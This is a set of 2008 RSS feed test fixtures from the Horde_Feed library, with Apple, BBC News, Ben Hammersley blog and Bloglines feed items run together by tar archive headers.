4-star (out of five) review of iPhone 3G. “It delivers the best mobile Web experience on any smart phone,” offers “excellent App Store integration,” “vastly improved call quality,” and “Microsoft Exchange support.” And, he adds, iPhone 3G is a “stellar music and video player.” Thu, 17 Jul 2008 14:55:11 PDT Coming Attractions: The Dark Knight http://www.apple.com/trailers/wb/thedarkknight/?sr=hotnews?sr=hotnews.rss Tomorrow, Christopher Nolan’s The Dark Knight opens in theaters across the country. The eagerly anticipated film — with Christian Bale reprising his Batman role and Heath Ledger starring as the Joker — has already received rave reviews. Before you head to the theater, watch the trailers on the Movie Trailer site. You can even download them to take with you on your iPod. Thu, 17 Jul 2008 13:17:53 PDT Pro Tip of the Week: Searchin’ Safari http://www.apple.com/pro/tips/safari_search.html?sr=hotnews?sr=hotnews.rss In Mac OS X Leopard, Safari offers a great new search feature called Find. In addition to instant Google searches, Safari now lets you easily and quickly locate any text on any web page. Safari displays how many instances of your search term it found, and it highlights each instance on the page. To find out how you can take advantage of the new Find feature in Safari, read the latest Pro Tip of the Week. Thu, 17 Jul 2008 10:02:12 PDT At the App Store, “the party has just begun” http://www.businessweek.com/magazine/content/08_30/b4093000232980.htm?chan=top+news_top+news+index_news+%2B+analysis It’s the software, maintains BusinessWeek’s Stephen Wildstrom, that “separates the iPhone from the pack.” And, he predicts, “the App Store will turn that gap into a gulf.” That’s because the iPhone “provides a unique combination of an extremely capable device, millions of customers hungry for ways to expand its usefulness, and an enthusiastic (crazed, one could say) community of developers.” Wed, 16 Jul 2008 11:29:26 PDT Four-mouse rating to iPhone 3G http://www.macworld.com/article/134482/2008/07/iphone3g_review.html?sr=hotnews The iPhone 3G earns a four (out of five) mouse rating from Jason Snell (macworld.com), who reports that the new iPhone “improves on the original iPhone’s audio quality, offers access to a faster data network, and sports built-in GPS functionality.“ It also provides access to “the exciting new world of third-party software” and to “new Exchange syncing features.” Wed, 16 Jul 2008 11:11:53 PDT Fast iPhone 3G makes the “App Store sing” http://featuresblogs.chicagotribune.com/eric2_0/2008/07/the-iphones-fas.html?sr=hotnews “I would have posted this sooner, but I just can’t put down the new iPhone 3G,” relates Eric Benderoff (chicagotribune.com). “Blame the 3G speed. The faster network connection is such an improvement over the first iPhone that you’ll be hard-pressed to stop using the new iPhone because it truly has become a mini Mac in the palm of your hand.” Wed, 16 Jul 2008 09:21:17 PDT App Store Picks: MooCowMusic: Pianist http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=284622652&mt=8 Carrying a piano around town has never been easier — now that MooCowMusic: Pianist lets you tickle the virtual ivories on your iPhone or iPod touch. Pianist offers a complete 88-key piano keyboard, each note sampled from a real piano. And Pianist, one of the more than 800 applications now available on the new App Store, offers multi-track recording, so you can even play a duet with yourself. Tue, 15 Jul 2008 10:23:59 PDT Quick Tip of the Week: One click, multiple tabs http://www.apple.com/business/theater/#tutorial=safariautoclick?sr=hotnews.rss We’re all creatures of habit, even online. So if your web browsing routine has you visiting the same websites every day, you can use Safari in Mac OS X Leopard to open all of those sites at the same time — each in a separate tab, with just a single click. You’ll learn how by watching the latest Quick Tip of the Week. Mon, 14 Jul 2008 16:23:50 PDT “Small really is beautiful” http://www.nytimes.com/2008/07/13/technology/13stream.html?sr=hotnews “As a result of a combination of higher screen resolution and software design,” contends John Markoff (nytimes.com), “the iPhone today is clearly the best hand-held device for viewing the Web.” Says Markoff, “visiting Web sites that have been redesigned for the iPhone is often a quicker and more pleasing experience than it is on those increasingly cinema-style desktop displays.” Mon, 14 Jul 2008 09:19:27 PDT Apple sells one million iPhone 3Gs in first weekend http://www.apple.com/iphone?sr=hotnews.rss On Sunday, Apple sold its one millionth iPhone 3G, the company announced today. “iPhone 3G had a stunning opening weekend,” said Steve Jobs, Apple’s CEO. “It took 74 days to sell the first one million original iPhones, so the new iPhone 3G is clearly off to a great start around the world.” Mon, 14 Jul 2008 05:32:22 PDT More than 10 million downloads from iPhone App Store in first weekend http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewGenre?id=36&mt=8 During its first weekend, iPhone and iPod touch customers downloaded more than 10 million applications from the new App Store. The groundbreaking App Store now has more than 800 native applications, including over 200 offered for free and more than 90 percent available for less than $10. Mon, 14 Jul 2008 05:30:54 PDT Now playing on iTunes U: A Resource for Writing Research Papers http://deimos3.apple.com/WebObjects/Core.woa/Browse/fccj.edu.1266319534.01266319537?sr=hotnews Need to write a research paper for a summer course? Then you’ll want to pay a visit to the Florida Community College at Jacksonville and sign up for English Composition II. The 24-unit video course provides a comprehensive resource for writing academic essays. And you can also learn about technical writing, writing for business, and literary analysis, as well. It’s another fine course available on iTunes U. Fri, 11 Jul 2008 13:47:41 PDT Dark Horse Comics: Secret Mac Superpowers http://www.apple.com/pro/profiles/darkhorse/?sr=hotnews?sr=hotnews.rss Dark Horse Comics has published comics and graphic novels for more than 20 years. And for most of its superpowered history, the Mac has played a key role. Thanks to a network of nearly 150 Macs, Dark Horse publishes 30 or more comics and graphic novels a month. And the Mac has helped Dark Horse expand into film and television, producing blockbusters from 1994’s The Mask to this summer’s Hellboy II. Fri, 11 Jul 2008 12:15:01 PDT Coming Attractions: Traitor http://www.apple.com/trailers/independent/traitor/?sr=hotnews?sr=hotnews.rss Opening August 27, Traitor stars Academy Award nominee Don Cheadle (Hotel Rwanda, Crash) and Guy Pearce (Memento, L.A. Confidential) in a “taut international thriller set against a jigsaw puzzle of covert counter-espionage operations.” You can catch the exclusive HD trailer for Traitor, written and directed by Jeffrey Nachmanoff, on the Movie Trailers site. Fri, 11 Jul 2008 11:04:34 PDT ././@LongLink000 173 0003737 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.bbc.co.uk-syndication-feeds-news-ukfs_news-front_page-rss091.xmlHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.bbc.co.uk-syndication-feeds-news-ukfs_new0000664000175000017500000005146412653701626031512 0ustar janjanBBC News | News Front Page | UK Editionhttp://news.bbc.co.uk/go/rss/-/1/hi/default.stmVisit BBC News for up-to-the-minute news, breaking news, video, audio and feature stories. BBC News provides trusted World and UK news as well as local and regional perspectives. Also entertainment, business, science, technology and health news.en-gbTue, 22 Jul 2008 15:55:21 GMTCopyright: (C) British Broadcasting Corporation, see http://news.bbc.co.uk/1/hi/help/rss/4498287.stm for terms and conditions of reusehttp://www.bbc.co.uk/syndication/15BBC Newshttp://news.bbc.co.uk/nol/shared/img/bbc_news_120x60.gifhttp://news.bbc.co.uk/go/rss/-/1/hi/default.stmKaradzic 'worked in Serb clinic'Captured Bosnian Serb war crimes suspect Radovan Karadzic practised alternative medicine under false ID while living in Belgrade, Serb officials say.http://news.bbc.co.uk/go/rss/-/1/hi/world/europe/7519039.stmhttp://news.bbc.co.uk/1/hi/world/europe/7519039.stmTue, 22 Jul 2008 15:46:10 GMTEuropeIsraelis hit by new digger attackAt least 10 people are injured in Jerusalem, as the driver of a construction vehicle rams cars before he is shot dead.http://news.bbc.co.uk/go/rss/-/1/hi/world/middle_east/7519404.stmhttp://news.bbc.co.uk/1/hi/world/middle_east/7519404.stmTue, 22 Jul 2008 14:16:59 GMTMiddle EastBatman star quizzed over 'assault'Batman star Christian Bale leaves a London police station after being questioned over claims he assaulted his mother and sister.http://news.bbc.co.uk/go/rss/-/1/hi/entertainment/7519689.stmhttp://news.bbc.co.uk/1/hi/entertainment/7519689.stmTue, 22 Jul 2008 15:50:04 GMTEntertainmentDrinks industry facing tough lawsMinisters tell the drinks industry it must act more responsibly or face new laws governing the sale of alcohol.http://news.bbc.co.uk/go/rss/-/1/hi/health/7518843.stmhttp://news.bbc.co.uk/1/hi/health/7518843.stmTue, 22 Jul 2008 10:15:51 GMTHealth'Mission change' for UK in IraqGordon Brown says he expects a "fundamental change of mission" for British troops in Iraq early next year.http://news.bbc.co.uk/go/rss/-/1/hi/uk_politics/7518321.stmhttp://news.bbc.co.uk/1/hi/uk_politics/7518321.stmTue, 22 Jul 2008 15:06:54 GMTPoliticsJury sent out in canoe wife trialThe jury in the £250,000 fraud trial of canoeist wife Anne Darwin is sent out to consider its verdicts.http://news.bbc.co.uk/go/rss/-/1/hi/england/tees/7519882.stmhttp://news.bbc.co.uk/1/hi/england/tees/7519882.stmTue, 22 Jul 2008 15:44:40 GMTTeesSchools still wait for Sats marksThere are fears from primary schools that test results that have still not been returned might have been lost.http://news.bbc.co.uk/go/rss/-/1/hi/education/7519108.stmhttp://news.bbc.co.uk/1/hi/education/7519108.stmTue, 22 Jul 2008 13:42:14 GMTEducationSky launches net music serviceThe satellite TV firm teams up with Universal Music to offer downloads for a monthly fee.http://news.bbc.co.uk/go/rss/-/1/hi/technology/7519558.stmhttp://news.bbc.co.uk/1/hi/technology/7519558.stmTue, 22 Jul 2008 13:03:16 GMTTechnologyMercury hat-trick for Monkeys manArctic Monkeys frontman Alex Turner scores his third Mercury Prize nomination in three years with The Last Shadow Puppets.http://news.bbc.co.uk/go/rss/-/1/hi/entertainment/7519204.stmhttp://news.bbc.co.uk/1/hi/entertainment/7519204.stmTue, 22 Jul 2008 13:50:49 GMTEntertainmentYou're fed: Brown reveals country home guestsThe list of people Gordon Brown has entertained at Chequers since becoming prime minister has been released.http://news.bbc.co.uk/go/rss/-/1/hi/uk_politics/7519962.stmhttp://news.bbc.co.uk/1/hi/uk_politics/7519962.stmTue, 22 Jul 2008 15:29:53 GMTPoliticsRock drummers 'need the stamina of top athletes'Playing the drums for a rock band requires the stamina of a Premiership footballer, research suggests.http://news.bbc.co.uk/go/rss/-/1/hi/health/7518888.stmhttp://news.bbc.co.uk/1/hi/health/7518888.stmTue, 22 Jul 2008 08:07:04 GMTHealthCalzaghe postpones Jones Jr fightA hand injury forces Joe Calzaghe to postpone his September super-fight with Roy Jones Jr.http://news.bbc.co.uk/go/rss/-/sport1/hi/boxing/7502914.stmhttp://news.bbc.co.uk/sport1/hi/boxing/7502914.stmTue, 22 Jul 2008 13:29:33 GMTBoxingCrusaders & Salford win licencesCeltic Crusaders and Salford City Reds will play in Super League next season but Widnes miss out on a licence.http://news.bbc.co.uk/go/rss/-/sport1/hi/rugby_league/7516692.stmhttp://news.bbc.co.uk/sport1/hi/rugby_league/7516692.stmTue, 22 Jul 2008 09:08:52 GMTRugby LeagueWhat do you want to talk about?What do you want the world to talk about?http://news.bbc.co.uk/go/rss/-/1/hi/talking_point/2804227.stmhttp://news.bbc.co.uk/1/hi/talking_point/2804227.stmThu, 03 Jul 2008 11:27:40 GMTHave Your SayMystery maestroHow did this man's song become the 'UK's most played'?http://news.bbc.co.uk/go/rss/-/1/hi/magazine/7518881.stmhttp://news.bbc.co.uk/1/hi/magazine/7518881.stmTue, 22 Jul 2008 11:41:10 GMTMagazineMercury shortlistBiographies and video clips of this year's nomineeshttp://news.bbc.co.uk/go/rss/-/1/hi/entertainment/7519452.stmhttp://news.bbc.co.uk/1/hi/entertainment/7519452.stmTue, 22 Jul 2008 12:42:03 GMTEntertainment'Chilly, isn't it'What's the best way to start talking to a stranger?http://news.bbc.co.uk/go/rss/-/1/hi/magazine/7518853.stmhttp://news.bbc.co.uk/1/hi/magazine/7518853.stmTue, 22 Jul 2008 10:14:50 GMTMagazineFord focusLuxury and fuel efficiency will boost sales, firm sayshttp://news.bbc.co.uk/go/rss/-/1/hi/business/7519095.stmhttp://news.bbc.co.uk/1/hi/business/7519095.stmTue, 22 Jul 2008 11:06:18 GMTBusiness'Bitter hope'Zimbabweans wonder if deal can end violencehttp://news.bbc.co.uk/go/rss/-/1/hi/world/africa/7519506.stmhttp://news.bbc.co.uk/1/hi/world/africa/7519506.stmTue, 22 Jul 2008 13:55:05 GMTAfricaIn picturesMourners wear fancy dress for Ben Kinsella funeralhttp://news.bbc.co.uk/go/rss/-/1/hi/in_pictures/7513974.stmhttp://news.bbc.co.uk/1/hi/in_pictures/7513974.stmFri, 18 Jul 2008 14:06:29 GMTIn PicturesTwo young men dead in reservoirTwo young men die after disappearing below the water while apparently swimming in a reservoir in Greater Manchester.http://news.bbc.co.uk/go/rss/-/1/hi/england/manchester/7518706.stmhttp://news.bbc.co.uk/1/hi/england/manchester/7518706.stmTue, 22 Jul 2008 09:44:46 GMTManchesterDoctor censured over sleep pillsA Glasgow doctor behaved irresponsibly by prescribing sleeping tablets to a patient who talked of killing herself, the General Medical Council rules.http://news.bbc.co.uk/go/rss/-/1/hi/scotland/glasgow_and_west/7519790.stmhttp://news.bbc.co.uk/1/hi/scotland/glasgow_and_west/7519790.stmTue, 22 Jul 2008 14:09:09 GMTGlasgow, Lanarkshire and West'Speeding driver' killed boy, 3A trial hears how a child who had been playing in the road was run over by a driver who did not stop.http://news.bbc.co.uk/go/rss/-/1/hi/wales/south_east/7517708.stmhttp://news.bbc.co.uk/1/hi/wales/south_east/7517708.stmTue, 22 Jul 2008 12:42:22 GMTSouth East WalesSAS pay clerk 'stole £100,000'About £100,000 in foreign currency taken from the SAS was found outside an Army clerk's NI home, a court martial hears. http://news.bbc.co.uk/go/rss/-/1/hi/england/7519097.stmhttp://news.bbc.co.uk/1/hi/england/7519097.stmTue, 22 Jul 2008 10:17:11 GMTEnglandZimbabweans hail 'historic' dealZimbabweans hail a deal between the president and opposition leader over talks on the country's political crisis.http://news.bbc.co.uk/go/rss/-/1/hi/world/africa/7518883.stmhttp://news.bbc.co.uk/1/hi/world/africa/7518883.stmTue, 22 Jul 2008 14:02:36 GMTAfricaObama urges political fix in IraqUS Democratic presidential hopeful Barack Obama says security in Iraq is better but political and diplomatic solutions are needed.http://news.bbc.co.uk/go/rss/-/1/hi/world/middle_east/7519411.stmhttp://news.bbc.co.uk/1/hi/world/middle_east/7519411.stmTue, 22 Jul 2008 15:40:21 GMTMiddle EastIran urged to free HIV pioneersA human rights group calls on Iran to release or charge two renowned HIV/Aids doctors arrested last month. http://news.bbc.co.uk/go/rss/-/1/hi/world/middle_east/7519233.stmhttp://news.bbc.co.uk/1/hi/world/middle_east/7519233.stmTue, 22 Jul 2008 12:10:58 GMTMiddle EastUN help sought over temple rowCambodia asks the UN Security Council for emergency talks to resolve a stand-off with Thailand around an ancient temple.http://news.bbc.co.uk/go/rss/-/1/hi/world/asia-pacific/7518741.stmhttp://news.bbc.co.uk/1/hi/world/asia-pacific/7518741.stmTue, 22 Jul 2008 14:45:35 GMTAsia-PacificBP says 60 staff leaving RussiaBP says the remaining 60 of its staff seconded to joint venture TNK-BP are being recalled from Russia.http://news.bbc.co.uk/go/rss/-/1/hi/business/7519668.stmhttp://news.bbc.co.uk/1/hi/business/7519668.stmTue, 22 Jul 2008 13:44:40 GMTBusinessIndian government survives voteIndia's government wins a tight parliamentary vote of confidence over a civilian nuclear deal with the US.http://news.bbc.co.uk/go/rss/-/1/hi/world/south_asia/7519860.stmhttp://news.bbc.co.uk/1/hi/world/south_asia/7519860.stmTue, 22 Jul 2008 15:51:14 GMTSouth AsiaFuel sellers start cutting pricesUK drivers are set to benefit after a number retailers including Asda, Morrisons and BP said that they would cut petrol prices.http://news.bbc.co.uk/go/rss/-/1/hi/business/7518516.stmhttp://news.bbc.co.uk/1/hi/business/7518516.stmTue, 22 Jul 2008 15:12:52 GMTBusinessBrown 'in charge' over the summerGordon Brown will be in charge of the government this summer - even while he is away on holiday, his spokesman says.http://news.bbc.co.uk/go/rss/-/1/hi/uk_politics/7519337.stmhttp://news.bbc.co.uk/1/hi/uk_politics/7519337.stmTue, 22 Jul 2008 14:56:06 GMTPoliticsDrug for deadly prostate cancerScientists say a drug to treat aggressive prostate cancer may be the most significant advance in the field for 70 years.http://news.bbc.co.uk/go/rss/-/1/hi/health/7502238.stmhttp://news.bbc.co.uk/1/hi/health/7502238.stmTue, 22 Jul 2008 08:01:16 GMTHealth'A fifth of teens' carry a weaponAlmost one in five teenage pupils carries a weapon, although only one in 20 takes it to school, a study suggests.http://news.bbc.co.uk/go/rss/-/1/hi/education/7519136.stmhttp://news.bbc.co.uk/1/hi/education/7519136.stmTue, 22 Jul 2008 10:58:10 GMTEducationClean deadline call on coal powerThe government should set a deadline for coal power stations to "clean up" or close, a parliamentary committee says.http://news.bbc.co.uk/go/rss/-/1/hi/sci/tech/7518311.stmhttp://news.bbc.co.uk/1/hi/sci/tech/7518311.stmTue, 22 Jul 2008 08:55:03 GMTScience/NatureRowling's Harry Potter 'regret'Harry Potter author JK Rowling speaks of her regret that she never told her mother about her world-famous creation.http://news.bbc.co.uk/go/rss/-/1/hi/scotland/7519850.stmhttp://news.bbc.co.uk/1/hi/scotland/7519850.stmTue, 22 Jul 2008 15:31:27 GMTScotlandTiscali accuses BT of defamationTiscali has issued legal proceedings against BT after it sent letters to its customers.http://news.bbc.co.uk/go/rss/-/1/hi/technology/7519625.stmhttp://news.bbc.co.uk/1/hi/technology/7519625.stmTue, 22 Jul 2008 15:27:32 GMTTechnologyHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.benhammersley.com-index.rdf0000664000175000017500000013332012653701626027026 0ustar janjan Ben Hammersley http://benhammersley.com Photographer, Foreign Correspondent, and Broadcaster. Tue, 15 Jul 2008 21:35:16 +0000 http://wordpress.org/?v=abc en ©Ben Hammersley ben@benhammersley.com (Ben Hammersley) ben@benhammersley.com(Ben Hammersley) News 1440 news, reporting, war, foreign Highlights of foreign reporting from Ben Hammersley. Highlights of foreign reporting from Ben Hammersley; journalist, photographer and broadcaster. Ben Hammersley Ben Hammersley ben@benhammersley.com No no http://benhammersley.com/wordpress/wp-content/plugins/podpress/images/smallpodcastcover.jpg Ben Hammersley http://benhammersley.com 144 144 7827http://www.feedburner.comThis is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site. Penitence, maybe http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/312599758/ http://benhammersley.com/2008/06/penitence-maybe/#comments Sun, 15 Jun 2008 22:01:28 +0000 Ben http://benhammersley.com/?p=349 my other blog, I’m competing in the Yukon Arctic Ultra this coming February. 300 miles overland in -40˚C, non-stop, self-supported, and that usual silliness. Ben Saunders suggested the event to me, so we can all blame him. But still, asking why is one of those pointless questions: if you have to ask, as the cliché has it, you’ll never understand. I’m not entirely sure myself, but the whole thing makes me ridiculously happy when I think about it. I’ll be writing about the training over the next few months, perhaps on another site. Meanwhile, I’ve put back online something I wrote after writing the Marathon des Sables in 2004.
    ]]>     http://benhammersley.com/2008/06/penitence-maybe/feed/ http://benhammersley.com/2008/06/penitence-maybe/     Lindka Cierach Spring Summer 2008 http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/276901081/ http://benhammersley.com/2008/04/lindka-cierach-spring-summer-2008/#comments Thu, 24 Apr 2008 13:26:57 +0000 Ben http://benhammersley.com/?p=345 ]]> http://benhammersley.com/2008/04/lindka-cierach-spring-summer-2008/feed/ http://benhammersley.com/2008/04/lindka-cierach-spring-summer-2008/ Disestablishmentarianism http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/265733386/ http://benhammersley.com/2008/04/disestablishmentarianism/#comments Mon, 07 Apr 2008 15:43:51 +0000 Ben http://benhammersley.com/?p=339 separate weblog here for the more usual outboard-brain type activities. It’s good Google Hygiene, after all.
    ]]>     http://benhammersley.com/2008/04/disestablishmentarianism/feed/ http://benhammersley.com/2008/04/disestablishmentarianism/     What I did on my birthday http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/265182688/ http://benhammersley.com/2008/04/what-i-did-on-my-birthday/#comments Sun, 06 Apr 2008 18:10:51 +0000 Ben http://benhammersley.com/?p=337 Dancing model, by Ben Hammersley

    An out-take from last week’s big shoot - currently in post-production - as I slowly admit defeat to the bug that’s going around. Blergh.

    ]]>     http://benhammersley.com/2008/04/what-i-did-on-my-birthday/feed/ 51.498054 -0.22245 http://benhammersley.com/2008/04/what-i-did-on-my-birthday/     Le Cool Will Change Your Life http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/263148408/ http://benhammersley.com/2008/04/le-cool-will-change-your-life/#comments Thu, 03 Apr 2008 06:30:52 +0000 Ben http://benhammersley.com/2008/04/le-cool-will-change-your-life/ It’s my birthday today, so I’m allowed a plug. As The Man Losowsky announced yesterday, the five new Le Cool guidebooks are now available for pre-order. Here’s the blurb for the London edition:

    Designed by Jeremy Leslie at John Brown, A Weird and Wonderful Guide to London is the gateway to a city of freaks and wonders, of the kind you hear whispered about in dark corners, but were never quite sure existed. Edited by Mat Osman, it takes you by the hand and leads you throughout the city, from New Cross to Mayfair, opening closed doors and revealing secrets that might just change your life.

    I worked on that London edition, and one slightly sticky spread for the Amsterdam book. There’s also Lisbon, Madrid, and Barcelona, and my lord are they beautiful. They’re out in May, so pre-order here!

    ]]>     http://benhammersley.com/2008/04/le-cool-will-change-your-life/feed/ http://benhammersley.com/2008/04/le-cool-will-change-your-life/     Casting for couture http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/259839444/ http://benhammersley.com/2008/03/casting-for-couture/#comments Fri, 28 Mar 2008 20:29:47 +0000 Ben http://benhammersley.com/2008/03/casting-for-couture/ Benhammersley2008-03-2816-52-07
    Snapshots from the casting

    I’ve been commissioned to shoot Lindka Cierach’s Spring/Summer 2008 collection next Thursday. There are 16 pieces to do, from daywear to evening gowns, and it’s going to be something of a day. My team and I need to have just the right model. Today was the casting, which meant seeing the twenty or so models that we’d requested, putting them in some of the clothes, and seeing who worked well, with the designer, with me, and with the clothes.

    It’s a hard job for the models - you turn up, get undressed in front of strangers, get stared at, get criticised behind your back, and then get to go home. Or not: some of the girls were on their sixth casting of the day, with more ahead. Anyone who thinks models have an easy life is dead wrong.

    Next week, once we’ve got confirmation that the girl we want is available, we’ll start work on designing her makeup and styling. And I’ll storyboarding each outfit’s shots, so we know where the lights need to be for each one. With so much to do on the one day, having a game plan is the only way to do it.

    ]]>     http://benhammersley.com/2008/03/casting-for-couture/feed/ http://benhammersley.com/2008/03/casting-for-couture/     Sabrina from Brasil http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/256556731/ http://benhammersley.com/2008/03/sabrina-from-brasil/#comments Sun, 23 Mar 2008 15:46:21 +0000 Ben http://benhammersley.com/2008/03/sabrina-from-brasil/ Benhammersley2008-03-2016-40-27
    ]]>     http://benhammersley.com/2008/03/sabrina-from-brasil/feed/ http://benhammersley.com/2008/03/sabrina-from-brasil/     geeKyoto 2008 http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/254853840/ http://benhammersley.com/2008/03/geekyoto-2008/#comments Thu, 20 Mar 2008 11:12:05 +0000 Ben http://benhammersley.com/2008/03/geekyoto-2008/ Announcing…geeKyoto 2008 - Living In The Changed World 10:00 - 16:30 - Saturday 17th May 2008. Conway Hall, London. £20.

    We broke the world. Now what?

    Mark Simpkins and Ben Hammersley announce a one day conference in central London, with designers, technologists, artists, architects, policy-makers, explorers, economists and scientists, and clever people like you, to discuss the future and how we’ll live in it.

    Inspired by TED and last year’s Interesting2007 event, we are holding our own conference in London to look into the theme that interest us: change in the world.

    We have curated a day that will be inspiring and insightful. We think you’ll leave having learnt something new, with new ways to look at the world and how it changes, and new strategies and models of thought for further action.

    geeKyoto 2008 is a cross-discipline event, targeted at everybody with an interest in the world we live in.

    Speaking so far we have:

    With more to be confirmed. Book your tickets here.

    ]]>     http://benhammersley.com/2008/03/geekyoto-2008/feed/ http://benhammersley.com/2008/03/geekyoto-2008/     …and his brother, Ugo http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/249699524/ http://benhammersley.com/2008/03/and-his-brother-ugo/#comments Tue, 11 Mar 2008 19:40:23 +0000 Ben http://benhammersley.com/2008/03/and-his-brother-ugo/ Benhammersley X6D771412 - Version 3 Ugo @ Oxygen Models
    ]]>     http://benhammersley.com/2008/03/and-his-brother-ugo/feed/ http://benhammersley.com/2008/03/and-his-brother-ugo/     Jean, from Paris, revisited http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/249692402/ http://benhammersley.com/2008/03/jean-from-paris-revisited/#comments Sat, 08 Mar 2008 20:40:35 +0000 Ben http://benhammersley.com/2008/03/jean-from-paris/ Benhammersley X6D73382 - Version 4 Benhammersley X6D74393 - Version 2

    Jean, from Paris, in his first London sitting, this afternoon in my studio. Mais oui.
    ]]>     http://benhammersley.com/2008/03/jean-from-paris-revisited/feed/ http://benhammersley.com/2008/03/jean-from-paris-revisited/     Stasia http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/246286431/ http://benhammersley.com/2008/03/stasia/#comments Wed, 05 Mar 2008 18:48:48 +0000 Ben http://benhammersley.com/2008/03/stasia/ Stasia at Oxygen Models
    Stasia @ Oxygen, clothes model’s own.
    ]]>     http://benhammersley.com/2008/03/stasia/feed/ http://benhammersley.com/2008/03/stasia/     To paradise by way of Kensal Green. http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/243952807/ http://benhammersley.com/2008/03/to-paradise-by-way-of-kensal-green/#comments Sat, 01 Mar 2008 17:43:17 +0000 Ben http://benhammersley.com/2008/03/to-paradise-by-way-of-kensal-green/ Hammersley X6D6948 - Version 2
    The Parkour training school in Kensal Green
    ]]>     http://benhammersley.com/2008/03/to-paradise-by-way-of-kensal-green/feed/ http://benhammersley.com/2008/03/to-paradise-by-way-of-kensal-green/     geeKyoto2008 - a conference you’ll want to go to http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/242798417/ http://benhammersley.com/2008/02/geekyoto2008-a-conference-youll-want-to-go-to/#comments Thu, 28 Feb 2008 16:29:36 +0000 Ben http://benhammersley.com/2008/02/geekyoto2008-a-conference-youll-want-to-go-to/ geeKyoto2008. Mark Simpkins and I are putting on a one day conference in London, on the 17th May, to discuss how we’ll all live, given that we’ve broken the planet. While everyone else argues over whose fault it is, let’s get on and make the cool stuff we need. Top speakers! Great topics! More to come soon! Book your ticket now!
    ]]>     http://benhammersley.com/2008/02/geekyoto2008-a-conference-youll-want-to-go-to/feed/ http://benhammersley.com/2008/02/geekyoto2008-a-conference-youll-want-to-go-to/     Inside a humvee, North East Afghanistan, 2006 http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/240347887/ http://benhammersley.com/2008/02/inside-a-humvee-north-east-afghanistan-2006/#comments Sun, 24 Feb 2008 12:37:45 +0000 Ben http://benhammersley.com/2008/02/inside-a-humvee-north-east-afghanistan-2006/ Bh-Zx6D6422 - Version 3


    Ijust upgraded to Aperture 2, and am in the middle of moving all my old pictures onto new storage. I keep finding old pictures that I now know what to do with where I didn’t before.
    ]]>     http://benhammersley.com/2008/02/inside-a-humvee-north-east-afghanistan-2006/feed/ http://benhammersley.com/2008/02/inside-a-humvee-north-east-afghanistan-2006/     You should have seen Economy http://feeds.feedburner.com/~r/BenHammersleysDangerousPrecedent/~3/240346336/ http://benhammersley.com/2008/02/you-should-have-seen-economy/#comments Sun, 24 Feb 2008 12:31:52 +0000 Ben http://benhammersley.com/2008/02/you-should-have-seen-economy/ Bh-Zx6D2974 - Version 2
    ]]>     http://benhammersley.com/2008/02/you-should-have-seen-economy/feed/ http://benhammersley.com/2008/02/you-should-have-seen-economy/         Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.bloglines.com-rss-about-news0000664000175000017500000007763312653701626027177 0ustar janjan Bloglines | News http://www.bloglines.com The Latest News And Updates From Bloglines en-us Copyright 2003-2005 Ask Jeeves, Inc support@bloglines.com Bloglines Expands Embedded Video Support We've been spending a lot of time working on improving the back-end of Bloglines, but we wanted to share some fun for you Blogliners out there. </p> <p> More and more of our feeds have embedded video, so it was a no-brainer to offer greater video support. We've cleared over 30 different video sites to stream video through Bloglines. It's a broad list including <a href="http://www.blip.tv">Blip.tv</a>, <a href="http://www.break.com">Break.com</a>, <a href="http://www.brightcove.com">Brightcove</a>, <a href="http://www.cnet.com">Cnet</a>, <a href="http://www.cnn.com">CNN</a>, <a href="http://www.collegehumor.com">CollegeHumor.com</a>, <a href="http://www.dailymotion.com">Dailymotion.com</a>, <a href="http://www.metacafe.com">Metacaf</a><a href="http://www.metacafe.com">e</a>, <a href="http://www.myspace.com">Myspace</a>, <a href="http://www.revver.com">Revver</a>, <a href="http://www.videoegg.com">Videoegg</a>, and oh yeah, <a href="http://www.youtube.com">YouTube</a>, among others. </p> <p> Here's an example where I'm about to watch Jake and Amir of <a href="http://www.collegehumor.com">College Humor</a>. The video is embedded in the <a href="http://www.siliconalleyinsider.com">Silicon Alley Insider</a> feed inside using the <a href="http://www.vimeo.com">Vimeo</a> player. </p> <p> <a href="http://worldofbloglines.files.wordpress.com/2008/05/video.jpg"><img src="http://worldofbloglines.wordpress.com/files/2008/05/video.jpg?w=300" alt="" width="300" height="210" /></a> </p> <p> Have Fun! </p> <p> - Eric Engleman and the Bloglines Team </p> Mon, June 2 2008 11:11:11 PST http://www.bloglines.com/about/news#165 Bloglines Continues to Lead Google Reader <a href="http://weblogs.hitwise.com/info/heather-hopkins.html">Heather Hopkins</a> of <a href="http://www.hitwise.com/">Hitwise</a> has a new <a href="http://weblogs.hitwise.com/us-heather-hopkins/2008/05/google_reader_slowly_closing_o.html">post</a> for all you Blogliners out there. She's a VP of Research at Hitwise, a leading web analytics firm. She writes, "It (Bloglines) is the most popular web-based feed reader based on share of US visits." Or in other words, Bloglines is beating Google Reader in the U.S. In an interview done by <a href="http://www.readwriteweb.com/archives/bloglines_vs_google_reader.php">RW/W</a> on August of 2007, I said it was a "2 horse race." It still is. </p> <p> Heather goes onto write about the differences between the user bases. </p> <p> <ul> <li>Bloglines users are also more inclined toward Photography websites, while Google Reader users are more inclined to visit Television websites.</li> <li>...Bloglines users are 24% more likely to continue on to a retail (Shopping &amp; Classifieds) website.</li> </ul> </p> <p> It would be interesting to hear from Blogliners on your blogs to see if you really do track more photography 